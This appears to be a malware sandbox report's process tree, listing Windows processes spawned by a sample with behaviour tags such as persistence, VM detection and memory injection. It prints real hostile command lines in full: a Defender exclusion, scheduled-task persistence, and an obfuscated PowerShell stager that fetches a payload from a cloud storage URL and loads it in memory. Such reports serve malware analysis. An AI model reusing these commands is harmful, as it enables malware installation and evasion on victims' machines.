C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exe"5⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "WAN Host" /xml "C:\Users\Admin\AppData\Local\Temp\tmp2D6C.tmp"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "WAN Host Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp49DE.tmp"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\build.exebuild.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno%20rat%20server.exexeno%20rat%20server.exe4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\system32\a\Q2Rb9HA.exeQ2Rb9HA.exe3⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd5debdcf8,0x7ffd5debdd04,0x7ffd5debdd105⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2004,i,2393961344462245702,12027004328045876755,262144 --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1532,i,2393961344462245702,12027004328045876755,262144 --variations-seed-version --mojo-platform-channel-handle=2132 /prefetch:115⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2400,i,2393961344462245702,12027004328045876755,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:135⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x344,0x7ffd5a2bf208,0x7ffd5a2bf214,0x7ffd5a2bf2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2344,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2096,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:115⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2464,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3528,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3524,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --string-annotations --always-read-main-dll --field-trial-handle=5008,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=4980,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=5144,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5524,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=5512,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:145⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --always-read-main-dll --field-trial-handle=4984,i,11798252890625058215,3278191726200138243,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:145⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x348,0x7ffd5a2bf208,0x7ffd5a2bf214,0x7ffd5a2bf2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2092,i,6065925040140062035,9510231627178849363,262144 --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2336,i,6065925040140062035,9510231627178849363,262144 --variations-seed-version --mojo-platform-channel-handle=1824 /prefetch:115⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2588,i,6065925040140062035,9510231627178849363,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3456,i,6065925040140062035,9510231627178849363,262144 --variations-seed-version --mojo-platform-channel-handle=3504 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=3452,i,6065925040140062035,9510231627178849363,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --extension-process --renderer-sub-type=extension --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4236,i,6065925040140062035,9510231627178849363,262144 --variations-seed-version --mojo-platform-channel-handle=4136 /prefetch:95⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x368,0x7ffd5a2bf208,0x7ffd5a2bf214,0x7ffd5a2bf2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2120,i,11724590900368044750,10116982921821221584,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1756,i,11724590900368044750,10116982921821221584,262144 --variations-seed-version --mojo-platform-channel-handle=1848 /prefetch:115⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2532,i,11724590900368044750,10116982921821221584,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:135⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=3368,i,11724590900368044750,10116982921821221584,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3376,i,11724590900368044750,10116982921821221584,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:15⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i 12-04-2025.msi3⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Receipt_11_26_2025.msi3⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\system32\a\64th%20Services.exe64th%20Services.exe3⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i em_lmNmqXjo_installer_Win7-Win11_x86_x64.msi3⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGUk9EQSUyMFVQRFRBVEVTJTIwMjclMjBPQ1RPQkVSJTJGUk9EQT☹1Tk9WSUVNQlJFJTJGc2t5ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49NGJkYmM1M2EtNmNjNS00ZT☹wLTgyNDctZmQ5ODk0ZDZhMzJmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ05nQm1BREFBWXdCa0FEUUFPUUJrQURrQU5BQTJBR0VBTFFBNUFEVUFaQUE0QUMwQVl3QTVBR0lBTkFBdEFEY0FaUUJtQUdNQUxRQXhBRFlBTXdCaEFETUFOd0E0QURRQVBRQnVBR1VBYXdCdkFIUUFKZ0JoQUdrQVpBQmxBRzBBUFFCMEFHd0FZUUEvQUhRQWVBQjBBQzRBTWdBeEFEUUFNQUJ6QUc4QVV3QXZBRzhBTHdCdEFHOEFZd0F1QUhRQWJ3QndBSE1BY0FCd0FHRUFMZ0E0QUdJQVlRQTJBRElBTFFCekFISUFaUUIwQUhBQWVRQnlBR01BTHdCaUFDOEFNQUIyQUM4QWJRQnZBR01BTGdCekFHa0FjQUJoQUdVQWJBQm5BRzhBYndCbkFDNEFaUUJuQUdFQWNnQnZBSFFBY3dCbEFITUFZUUJpQUdVQWNnQnBBR1lBTHdBdkFEb0Fjd0J3QUhRQWRBQm9BQT09JycgKS☹sICcnJU9GQUNPeSUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%OFACOy%', 'C:$Windows$system32$a$sostener.vbs');powershell $lvFxTsk;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''NgBmADAAYwBkADQAOQBkADkANAA2AGEALQA5ADUAZAA4AC0AYwA5AGIANAAtADcAZQBmAGMALQAxADYAMwBhADMANwA4ADQAPQBuAGUAawBvAHQAJgBhAGkAZABlAG0APQB0AGwAYQA/AHQAeAB0AC4AMgAxADQAMABzAG8AUwAvAG8ALwBtAG8AYwAuAHQAbwBwAHMAcABwAGEALgA4AGIAYQA2ADIALQBzAHIAZQB0AHAAeQByAGMALwBiAC8AMAB2AC8AbQBvAGMALgBzAGkAcABhAGUAbABnAG8AbwBnAC4AZQBnAGEAcgBvAHQAcwBlAHMAYQBiAGUAcgBpAGYALwAvADoAcwBwAHQAdABoAA=='' ) , ''C:$Windows$system32$a$sostener.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"5⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps16⤵
-
-
-
-
-
C:\Windows\system32\a\Va4iu4b.exeVa4iu4b.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_receipt_12_02_2025.msi3⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\6.exe6.exe3⤵
-
-
C:\Windows\system32\a\which_browser-0.2.3+41-windows-setup.exewhich_browser-0.2.3+41-windows-setup.exe3⤵
-
-
C:\Windows\system32\a\rhsremotesupportv2.exerhsremotesupportv2.exe3⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall show rule name= RHSRemoteSupportv2 verbose4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\system32\a\vabank.exevabank.exe3⤵
-
-
C:\Windows\system32\a\zx.exezx.exe3⤵
-
C:\Windows\system32\a\zx.exezx.exe4⤵
-
-
-
C:\Windows\system32\a\Multi-tiered_8865.99.73_INSTALL.exeMulti-tiered_8865.99.73_INSTALL.exe3⤵
-
-
C:\Windows\system32\a\Barchart.exeBarchart.exe3⤵
-
-
C:\Windows\system32\a\LOZHyYF.exeLOZHyYF.exe3⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\a\LOZHyYF.exe"C:\Windows\system32\a\LOZHyYF.exe"4⤵
-
-
-
C:\Windows\system32\a\C0aADSk.exeC0aADSk.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\a\ledger-live-desktop-2.133.0-win-x64.exeledger-live-desktop-2.133.0-win-x64.exe3⤵
-
-
C:\Windows\system32\a\2qIIQWe.exe2qIIQWe.exe3⤵
-
-
C:\Windows\system32\a\Remotely_Desktop.exeRemotely_Desktop.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Manipulates Digital Signatures
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\system32\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Windows\system32\a\win.exewin.exe3⤵
-
-
C:\Windows\system32\a\agent.exeagent.exe3⤵
-
-
C:\Windows\system32\a\AccountBind.exeAccountBind.exe3⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\a\LW.exeLW.exe3⤵
-
-
C:\Windows\system32\a\7x.exe7x.exe3⤵
-
-
C:\Windows\system32\a\1UgswWz.exe1UgswWz.exe3⤵
-
-
